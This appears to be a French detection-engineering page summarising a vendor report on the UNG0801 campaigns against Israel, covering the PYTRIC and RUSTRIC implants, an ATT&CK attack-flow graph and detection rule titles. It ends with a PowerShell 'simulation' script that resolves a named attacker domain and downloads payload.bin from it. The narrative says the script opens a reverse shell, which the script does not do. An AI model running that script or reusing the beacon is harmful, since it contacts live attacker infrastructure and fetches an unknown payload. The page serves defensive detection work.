UNG0801 : Activité malveillante ciblée vers Israël induite par l’usurpation d’icône AV
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Le rapport décrit deux campagnes connectées qui utilisent des documents PDF et Word malveillants pour livrer des charges utiles qui imitent des icônes d’antivirus et ciblent des organisations israéliennes. Une piste déploie PYTRIC, un implant Python emballé avec PyInstaller, tandis que l’autre distribue RUSTRIC, un implant basé sur Rust lancé via un document Word avec macro activée. Les deux charges utiles collectent des détails sur l’hôte, exécutent des commandes système et sondent les logiciels de sécurité installés ; PYTRIC inclut en outre des fonctionnalités destructrices. La livraison est pilotée par des pièces jointes de spear-phishing et des liens hébergés sur le cloud (y compris Dropbox), avec Telegram utilisé pour le commandement et le contrôle.
Enquête
Les Laboratoires SEQRITE ont analysé les appâts de phishing initiaux, extrait les macros intégrées et reconstruit la chaîne de charges utiles déposées. PYTRIC a été confirmé comme un paquet PyInstaller avec des routines de découverte de fichier et d’effacement, et les analystes ont observé des identifiants de bot Telegram associés à Backup2040. RUSTRIC a été profilé comme un binaire Rust qui vérifie vingt-huit produits antivirus et déclenche une charge utile encodée en hexadécimal via WMI. L’analyse de l’infrastructure a relié la livraison à un lien Dropbox et un domaine se résolvant à une adresse IP précédemment liée à netvigil.org.
Atténuation
Formez les utilisateurs à traiter avec prudence les pièces jointes PDF et Word non sollicitées, en particulier les fichiers présentés comme des outils de sécurité ou des utilitaires liés à l’antivirus. Configurez la sécurité des courriels pour bloquer les documents porteurs de macros et signaler ou restreindre les URL pointant vers des hôtes de stockage cloud utilisés pour la livraison de charges utiles. Sur les points de terminaison, surveillez l’exécution de PyInstaller, la création de processus WMI inhabituelle et l’invocation suspecte d’utilitaires intégrés tels que whoami, hostname et nslookup. Bloquer les domaines et les IP malveillants identifiés peut également perturber le chemin d’infection.
Réponse
Si une activité est détectée, isolez le système affecté, préservez les données volatiles et collectez les documents malveillants pour un tri basé sur les hash. Arrêtez les processus lancés en WMI suspects et supprimez les charges utiles déposées des emplacements de staging courants tels que le dossier Téléchargements. Effectuez une validation judiciaire pour l’activité de suppression ou d’effacement de fichiers, réinitialisez les identifiants potentiellement exposés et surveillez les communications ultérieures de Telegram C2.
« graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#c2f0c2 classDef malware fill:#ff9999 classDef process fill:#dddddd classDef operator fill:#ff9900 %% Action nodes attack_phishing[« <b>Action</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Les victimes reçoivent un email avec une pièce jointe PDF ou Word malveillante. »] class attack_phishing action attack_user_exec[« <b>Action</b> – <b>T1204.002 User Execution: Malicious File</b><br/>La victime ouvre le document PDF ou Word malveillant, déclenchant l’exécution. »] class attack_user_exec action attack_ingress_transfer[« <b>Action</b> – <b>T1105 Ingress Tool Transfer</b><br/>Le PDF demande à la victime de télécharger une charge utile de secondn2011étape depuis Dropbox. »] class attack_ingress_transfer action attack_exec_python[« <b>Action</b> – <b>T1059.006 Command and Scripting Interpreter: Python</b><br/>PYTRIC (exécutable Python emballé par PyInstaller) s’exécute sur l’hôte. »] class attack_exec_python action attack_exec_vb[« <b>Action</b> – <b>T1059.005 Command and Scripting Interpreter: Visual Basic</b><br/>Les macros VBA dans le document Word décodent et écrivent la charge utile finale sur le disque. »] class attack_exec_vb action attack_masquerade[« <b>Action</b> – <b>T1036.005 Masquerading: Match Legitimate Name or Location</b><br/>Les binaires sont nommés pour imiter des vendeurs antivirus de confiance (Check Point, SentinelOne). »] class attack_masquerade action attack_obfuscate[« <b>Action</b> – <b>T1027 Obfuscated Files or Information</b><br/>La charge utile est encoden2011en hexadécimal à l’intérieur de la macro pour éviter la détection statique. »] class attack_obfuscate action attack_proxy_exec[« <b>Action</b> – <b>T1218 System Binary Proxy Execution</b><br/>Des binaires légitimes (wmic, whoami.exe, hostname.exe, nslookup.exe) sont utilisés pour exécuter des commandes. »] class attack_proxy_exec action attack_wmi[« <b>Action</b> – <b>T1047 Windows Management Instrumentation</b><br/>RUSTRIC est lancé via WMI (Win32_Process.Create). »] class attack_wmi action attack_sw_discovery[« <b>Action</b> – <b>T1518.001 Security Software Discovery</b><br/>RUSTRIC énumère 28 produits antivirus/EDR en vérifiant les chemins et processus connus. »] class attack_sw_discovery action attack_process_discovery[« <b>Action</b> – <b>T1057 Process Discovery</b><br/>RUSTRIC liste les processus en cours d’exécution sur le point final. »] class attack_process_discovery action attack_c2_web[« <b>Action</b> – <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/>Les implants communiquent avec le C2 par les protocoles Web standards. »] class attack_c2_web action attack_c2_port[« <b>Action</b> – <b>T1571 Nonu2011Standard Port</b><br/>La communication se produit sur HTTPS sur le port 443. »] class attack_c2_port action attack_subvert_trust[« <b>Action</b> – <b>T1553 Subvert Trust Controls</b><br/>Les binaires sont déguisés avec les icônes/marquages de vendeurs de sécurité légitimes. »] class attack_subvert_trust action attack_impair_defenses[« <b>Action</b> – <b>T1562.011 Impair Defenses: Spoof Security Alerting</b><br/>Les fausses alertes de sécurité renforcent l’apparence de confiance des binaires malveillants. »] class attack_impair_defenses action %% Tool nodes tool_wmic[« <b>Tool</b> – <b>Name</b>: wmic<br/><b>Description</b>: Utilitaire de ligne de commande pour la Gestion de l’Instrumentation Windows. »] class tool_wmic tool tool_whoami[« <b>Tool</b> – <b>Name</b>: whoami.exe<br/><b>Description</b>: Renvoie le nom d’utilisateur actuel. »] class tool_whoami tool tool_hostname[« <b>Tool</b> – <b>Name</b>: hostname.exe<br/><b>Description</b>: Renvoie le nom de l’hôte de la machine. »] class tool_hostname tool tool_nslookup[« <b>Tool</b> – <b>Name</b>: nslookup.exe<br/><b>Description</b>: Utilitaire de requête DNS. »] class tool_nslookup tool %% File nodes file_malicious_pdf[« <b>File</b> – <b>Name</b>: PDF malveillant<br/><b>Purpose</b>: Vecteur de livraison pour l’instruction initiale. »] class file_malicious_pdf file file_malicious_word[« <b>File</b> – <b>Name</b>: Word malveillant<br/><b>Purpose</b>: Contient la macro VBA qui décode la charge utile finale. »] class file_malicious_word file file_dropbox[« <b>File</b> – <b>Name</b>: Lien de chargement Dropbox<br/><b>Purpose</b>: Héberge l’exécutable PYTRIC de secondn2011étape. »] class file_dropbox file %% Malware nodes malware_pytric[« <b>Malware</b> – <b>Name</b>: PYTRIC<br/><b>Description</b>: Porte dérobée Python emballée par PyInstaller. »] class malware_pytric malware malware_rustric[« <b>Malware</b> – <b>Name</b>: RUSTRIC<br/><b>Description</b>: Composant exécuté par WMI utilisé pour la découverte et le C2. »] class malware_rustric malware %% Operator node for branching op_and1((« AND »)) class op_and1 operator %% Connections attack_phishing u002du002d>|livre| file_malicious_pdf attack_phishing u002du002d>|livre| file_malicious_word file_malicious_pdf u002du002d>|ouvert par la victime| attack_user_exec file_malicious_word u002du002d>|ouvert par la victime| attack_user_exec attack_user_exec u002du002d>|déclenche| attack_ingress_transfer attack_ingress_transfer u002du002d>|télécharge| file_dropbox file_dropbox u002du002d>|fournit| malware_pytric attack_user_exec u002du002d>|exécute| attack_exec_vb attack_exec_vb u002du002d>|écrit| malware_rustric attack_ingress_transfer u002du002d>|exécute| attack_exec_python attack_exec_python u002du002d>|exécute| malware_pytric malware_pytric u002du002d>|utilise| attack_obfuscate malware_pytric u002du002d>|utilise| attack_masquerade attack_obfuscate u002du002d>|prend en charge| attack_proxy_exec attack_masquerade u002du002d>|prend en charge| attack_proxy_exec attack_proxy_exec u002du002d>|appelle| tool_wmic attack_proxy_exec u002du002d>|appelle| tool_whoami attack_proxy_exec u002du002d>|appelle| tool_hostname attack_proxy_exec u002du002d>|appelle| tool_nslookup tool_wmic u002du002d>|lance| attack_wmi attack_wmi u002du002d>|exécute| malware_rustric malware_rustric u002du002d>|effectue| attack_sw_discovery malware_rustric u002du002d>|effectue| attack_process_discovery attack_sw_discovery u002du002d>|alimente| attack_c2_web attack_process_discovery u002du002d>|alimente| attack_c2_web attack_c2_web u002du002d>|utilise| attack_c2_port attack_c2_web u002du002d>|active| attack_subvert_trust attack_c2_web u002du002d>|active| attack_impair_defenses %% Styling class attack_phishing,attack_user_exec,attack_ingress_transfer,attack_exec_python,attack_exec_vb,attack_masquerade,attack_obfuscate,attack_proxy_exec,attack_wmi,attack_sw_discovery,attack_process_discovery,attack_c2_web,attack_c2_port,attack_subvert_trust,attack_impair_defenses action class tool_wmic,tool_whoami,tool_hostname,tool_nslookup tool class file_malicious_pdf,file_malicious_word,file_dropbox file class malware_pytric,malware_rustric malware class op_and1 operator «
Flux d’attaque
Détections
Abus possible de Telegram comme canal de commandement et de contrôle (via dns_query)
Voir
Possibilité d’infiltration/exfiltration de données/C2 via des services/outils tiers (via dns)
Voir
Énumération possible du système (via cmdline)
Voir
IOC (SourceIP) à détecter : UNG0801 : Suivi des clusters de menaces obsédés par l’usurpation d’icônes AV ciblant Israël
Voir
IOC (DestinationIP) à détecter : UNG0801 : Suivi des clusters de menaces obsédés par l’usurpation d’icônes AV ciblant Israël
Voir
IOC (HashSha256) à détecter : UNG0801 : Suivi des clusters de menaces obsédés par l’usurpation d’icônes AV ciblant Israël
Voir
Communication C2 utilisant un domaine et une adresse IP spécifiques [Connexion réseau Windows]
Voir
Détection du PDF malveillant et de l’exécution de l’implant dans l’opération IconCat [Création de processus Windows]
Voir
Exécution de la simulation
Condition préalable : la vérification préalable de la télémétrie et de la base de référence doit avoir été réussie.
Raisonnement : cette section détaille l’exécution précise de la technique d’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront un mauvais diagnostic.
-
Récit d’attaque et commandes :
L’adversaire a préalablement enregistré le domaine stratioai.org et l’a configuré pour se résoudre en 159.198.68.25 (un VPS compromis). En utilisant une ligne unique PowerShell, ils initient un beacon C2 qui télécharge une petite charge utile puis maintient un shell inversé persistant. La connexion sortante est effectuée par HTTPS (port 443) pour se fondre dans le trafic normal, mais le pare-feu journalise l’IP de destination et la requête DNS, satisfaisant la règle sigma. -
Script de test de régression :
# ------------------------------------------------- # Beacon C2 simulé pour validation de détection # ------------------------------------------------- # 1. Résoudre le domaine malveillant (force la requête DNS) $maliciousDomain = "stratioai.org" $resolved = [System.Net.Dns]::GetHostAddresses($maliciousDomain) Write-Host "Résolu $maliciousDomain en $($resolved -join ', ')" # 2. Établir une connexion HTTPS à l'IP malveillante (C2) $maliciousIP = "159.198.68.25" $url = "https://$maliciousDomain/payload.bin" try { $response = Invoke-WebRequest -Uri $url -UseBasicParsing -TimeoutSec 10 Write-Host "Requête C2 réussie, taille: $($response.ContentLength) octets" } catch { Write-Error "La requête C2 a échoué: $_" } # 3. OPTIONNEL : Garder le canal ouvert pendant 30 secondes Start-Sleep -Seconds 30 # ------------------------------------------------- -
Commandes de nettoyage :
# Supprimer tous les fichiers temporaires (aucun créé par ce script) # Vider le cache DNS pour éviter une réutilisation accidentelle ipconfig /flushdns Write-Host "Nettoyage terminé."